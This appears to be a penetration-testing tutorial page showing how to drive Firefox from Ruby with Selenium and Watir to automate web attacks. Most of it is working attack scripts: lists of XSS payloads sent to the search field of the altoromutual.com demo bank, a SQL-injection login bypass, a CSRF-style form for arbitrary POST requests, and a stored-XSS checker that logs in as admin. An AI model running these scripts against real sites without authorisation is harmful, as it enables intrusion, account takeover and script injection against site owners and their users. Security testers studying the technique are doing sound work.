Browser Manipulation
As a hacker, sometimes you need to automate your client side tests (ex. XSS) and reduce the false positives that happen specially in XSS tests. The traditional automation depends on finding the sent payload been received in the response, but it doesn't mean the vulnerability get really exploited so you have to do it manually again and again.
Here we'll learn how to make ruby controls our browser in order to emulate the same attacks from browser and get the real results.
The most known APIs for this task are Selenium and Watir which support most know web browsers currently exist.

Selenium Webdriver

Selenium is an umbrella project encapsulating a variety of tools and libraries enabling web browser automation.
    install selenium gem
    1
    gem install selenium-webdriver
    Copied!

GET Request

1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require "selenium-webdriver"
5
6
# Profile Setup and Tweak
7
proxy = Selenium::WebDriver::Proxy.new(
8
:http => PROXY,
9
:ftp => PROXY,
10
:ssl => PROXY
11
) # Set Proxy hostname and port
12
profile = Selenium::WebDriver::Firefox::Profile.from_name "default" # Use an existing profile name
13
profile['general.useragent.override'] = "Mozilla/5.0 (compatible; MSIE 9.0; " +
14
"Windows Phone OS 7.5; Trident/5.0; " +
15
"IEMobile/9.0)" # Set User Agent
16
profile.proxy = proxy # Set Proxy
17
profile.assume_untrusted_certificate_issuer = false # Accept untrusted SSL certificates
18
19
# Start Driver
20
driver = Selenium::WebDriver.for(:firefox, :profile => profile) # Start firefox driver with specified profile
21
# driver = Selenium::WebDriver.for(:firefox, :profile => "default") # Use this line if just need a current profile and no need to setup or tweak your profile
22
driver.manage.window.resize_to(500, 400) # Set Browser windows size
23
driver.navigate.to "http://www.altoromutual.com/search.aspx?" # The URL to navigate
24
25
# Interact with elements
26
element = driver.find_element(:name, 'txtSearch') # Find an element named 'txtSearch'
27
element.send_keys "<img src=x onerror='alert(1)'>" # Send your keys to element
28
element.send_keys(:control, 't') # Open a new tab
29
element.submit # Submit the text you've just sent
Copied!
Note that the actual keys to send depend on your OS, for example, Mac uses COMMAND + t, instead of CONTROL + t.

POST Request

1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require 'selenium-webdriver'
5
6
browser = Selenium::WebDriver.for :firefox
7
browser.get "http://www.altoromutual.com/bank/login.aspx"
8
9
wait = Selenium::WebDriver::Wait.new(:timeout => 15) # Set waiting timeout
10
# Find the input elements to interact with later.
11
input = wait.until {
12
element_user = browser.find_element(:name, "uid")
13
element_pass = browser.find_element(:name, "passw")
14
# Retrun array of elements when get displayed
15
[element_user, element_pass] if element_user.displayed? and element_pass.displayed?
16
}
17
18
input[0].send_keys("' or 1=1;--") # Send key for the 1st element
19
input[1].send_keys("password") # Send key fro the next element
20
sleep 1
21
22
# Click/submit the button based the form it is in (you can also call 'btnSubmit' method)
23
submit = browser.find_element(:name, "btnSubmit").click #.submit
24
25
# browser.quit
Copied!
Let's test the page against XSS vulnerability. First I'll list what kind of action we need from browser
    1.
    Open a browser window (Firefox)
    2.
    Navigate to a URL (altoromutual.com)
    3.
    Perform some operations (Send an XSS payload)
    4.
    Check if the payload is working(Popping-up) or it's a false positive
    5.
    Print the succeed payloads on terminal
selenium-xss.rb
1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require 'selenium-webdriver'
5
6
payloads =
7
[
8
"<video src=x onerror=alert(1);>",
9
"<img src=x onerror='alert(2)'>",
10
"<script>alert(3)</script>",
11
"<svg/OnlOad=prompt(4)>",
12
"javascript:alert(5)",
13
"alert(/6/.source)"
14
]
15
16
browser = Selenium::WebDriver.for :firefox # You can use :ff too
17
browser.manage.window.resize_to(500, 400) # Set browser size
18
browser.get "http://www.altoromutual.com/search.aspx?"
19
20
wait = Selenium::WebDriver::Wait.new(:timeout => 10) # Timeout to wait
21
22
payloads.each do |payload|
23
input = wait.until do
24
element = browser.find_element(:name, 'txtSearch')
25
element if element.displayed?
26
end
27
input.send_keys(payload)
28
input.submit
29
30
begin
31
wait.until do
32
txt = browser.switch_to.alert
33
if (1..100) === txt.text.to_i
34
puts "Payload is working: #{payload}"
35
txt.accept
36
end
37
end
38
rescue Selenium::WebDriver::Error::NoAlertOpenError
39
puts "False Positive: #{payload}"
40
next
41
end
42
43
end
44
45
browser.close
Copied!
Result
1
> ruby selenium-xss.rb
2
Payload is working: <video src=x onerror=alert(1);>
3
Payload is working: <img src=x onerror='alert(2)'>
4
Payload is working: <script>alert(3)</script>
5
Payload is working: <svg/OnlOad=prompt(4)>
6
False Positive: javascript:alert(5)
7
False Positive: alert(/6/.source)
Copied!

Watir Webdriver

Watir is abbreviation for (Web Application Testing in Ruby). I believe that Watir is more elegant than Selenium but I like to know many ways to do the same thing, just in case.
    install watir gem
    1
    gem install watir
    Copied!

GET Request

1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require 'watir'
5
6
browser = Watir::Browser.new :firefox
7
browser.goto "http://www.altoromutual.com/search.aspx?"
8
browser.text_field(name: 'txtSearch').set("<img src=x onerror='alert(1)'>")
9
btn = browser.button(value: 'Go')
10
puts btn.exists?
11
btn.click
12
13
# browser.close
Copied!
Sometime you'll need to send XSS GET request from URL like http://app/search?q=<script>alert</script>. You'll face a known error Selenium::WebDriver::Error::UnhandledAlertError: Unexpected modal dialog if the alert box popped up but it you do refresh page for the sent payload it'll work so the fix for this issue is the following.
1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require 'watir'
5
6
browser = Watir::Browser.new :firefox
7
wait = Selenium::WebDriver::Wait.new(:timeout => 15)
8
9
begin
10
browser.goto("http://www.altoromutual.com/search.aspx?txtSearch=<img src=x onerror=alert(1)>")
11
rescue Selenium::WebDriver::Error::UnhandledAlertError
12
browser.refresh
13
wait.until {browser.alert.exists?}
14
end
15
16
if browser.alert.exists?
17
browser.alert.ok
18
puts "[+] Exploit found!"
19
browser.close
20
end
Copied!

POST Request

1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require 'watir'
5
6
browser = Watir::Browser.new :firefox
7
browser.window.resize_to(800, 600)
8
browser.window.move_to(0, 0)
9
browser.goto "http://www.altoromutual.com/bank/login.aspx"
10
browser.text_field(name: 'uid').set("' or 1=1;-- ")
11
browser.text_field(name: 'passw').set("password")
12
btn = browser.button(name: 'btnSubmit').click
13
14
# browser.close
Copied!
    Since Waiter is integrated with Selenium, you can use both to achieve one goal
    For Some reason in some log-in cases, you may need to add a delay time between entering username and password then submit.

Selenium, Watir Arbitrary POST request

Here another scenario I've faced, I was against POST request without submit button, in another word, the test was against intercepted request generated from jQuery function, in my case was a drop menu. So The work round wad quite simple, Just create an HTML file contains POST form with the original parameters plus a Submit button(just like creating CSRF exploit from a POST form) then call that html file to the browser and deal with it as normal form. Let's to see an example here.
POST request
1
POST /path/of/editfunction HTTP/1.1
2
Host: example.com
3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
4
Accept: */*
5
Accept-Language: en-US,en;q=0.5
6
Accept-Encoding: gzip, deflate
7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8
X-Requested-With: XMLHttpRequest
9
Content-Length: 100
10
Cookie: PHPSESSIONID=111111111111111111111
11
Connection: keep-alive
12
Pragma: no-cache
13
Cache-Control: no-cache
14
15
field1=""&field2=""&field3=""&field4=""
Copied!
example.html
1
<html>
2
<head>
3
<title>Victim Site - POST request</title>
4
</head>
5
<body>
6
<form action="https://example.com/path/of/editfunction" method="POST">
7
<input type="text" name="field1" value="" />
8
<input type="text" name="field2" value="" />
9
<input type="text" name="field3" value="" />
10
<input type="text" name="field4" value="" />
11
<p><input type="submit" value="Send" /></p>
12
</form>
13
</body>
14
</html>
Copied!
exploit.rb
1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require 'watir'
5
6
@browser = Watir::Browser.new :firefox
7
@browser.window.resize_to(800, 600) # Set browser size
8
@browser.window.move_to(400, 300) # Allocate browser position
9
10
def sendpost(payload)
11
@browser.goto "file:///home/KING/Code/example.html"
12
13
@browser.text_field(name: 'field1').set(payload)
14
@browser.text_field(name: 'field2').set(payload)
15
@browser.text_field(name: 'field3').set(payload)
16
@browser.text_field(name: 'field4').set(payload)
17
sleep 0.1
18
@browser.button(value: 'Send').click
19
end
20
21
payloads =
22
[
23
'"><script>alert(1)</script>',
24
'<img src=x onerror=alert(2)>'
25
]
26
27
puts "[*] Exploitation start"
28
puts "[*] Number of payloads: #{payloads.size} payloads"
29
payloads.each do |payload|
30
print "\r[*] Trying: #{payload}"
31
print "\e[K"
32
sendpost payload
33
34
if @browser.alert.exists?
35
@browser.alert.ok
36
puts "[+] Exploit found!: " + payload
37
@browser.close
38
end
39
end
Copied!

Dealing with tabs

One of scenarios I've faced is to exploit XSS a user profile fields and check the result in another page which present the public user's profile. Instead of revisiting the URLs again and again I open new tab and refresh the public user's profile page then return back to send the exploit and so on.
xss_tab.rb
1
#!/usr/bin/env ruby
2
# KING SABRI | @KINGSABRI
3
#
4
require 'watir'
5
require 'uri'
6
7
@url = URI.parse "http://example.com/Users/User_Edit.aspx?userid=68"
8
9
@browser = Watir::Browser.new :firefox
10
@browser.window.resize_to(800, 600)
11
# @browser.window.move_to(540, 165)
12
@wait = Selenium::WebDriver::Wait.new(:timeout => 10)
13
14
@browser.goto "http://example.com/logon.aspx"
15
16
# Login
17
@browser.text_field(name: 'Login1$UserName').set("admin")
18
@browser.text_field(name: 'Login1$Password').set("[email protected]")
19
sleep 0.5
20
@browser.button(name: 'Login1$LoginButton').click
21
22
def sendpost(payload)
23
begin
24
25
@browser.switch # Make sure to focus on current tab/window
26
@browser.goto "#{@url.scheme}://#{@url.host}/#{@url.path}?#{@url.query}" # Goto the URL
27
@wait.until {@browser.text_field(id: 'txtFullName').exists?} # Wait until wanted text area appear
28
@browser.text_field(id: 'txtFullName').set(payload) # Set payload to the text area
29
@browser.text_field(id: 'txtFirstName').set(payload) # Set payload to the text area
30
@browser.button(name: '$actionsElem$save').click # Click Save button
31
32
rescue Selenium::WebDriver::Error::UnhandledAlertError
33
@browser.refresh # Refresh the current page
34
@wait.until {@browser.alert.exists?} # Check if alert box appear
35
end
36
end
37
38
payloads =
39
[
40
"\"><video src=x onerror=alert(1);>",
41
"<img src=x onerror='alert(2)'>",
42
"<script>alert(3)</script>",
43
"<svg/OnlOad=prompt(4)>",
44
"javascript:alert(5)",
45
"alert(/6/.source)"
46
]
47
48
puts "[*] Exploitation start"
49
puts "[*] Number of payloads: #{payloads.size} payloads"
50
51
@browser.send_keys(:control, 't') # Sent Ctrl+T to open new tab
52
@browser.goto "http://example.com/pub_prof/user/silver.aspx" # Goto the use's public profile
53
@browser.switch # Make sure to focus on current tab/window
54
55
payloads.each do |payload|
56
57
@browser.send_keys(:alt, '1') # Send Alt+1 to go to first tab
58
sendpost payload
59
puts "[*] Sending to '#{@browser.title}' Payload : #{payload}"
60
@browser.send_keys(:alt, '2') # Send Alt+2 to go to second tab
61
@browser.switch
62
@browser.refresh
63
puts "[*] Checking Payload Result on #{@browser.title}"
64
65
if @browser.alert.exists?
66
@browser.alert.ok
67
puts
68
puts "[+] Exploit found!: " + payload
69
@browser.close
70
exit 0
71
end
72
73
end
74
75
@browser.close
76
puts
Copied!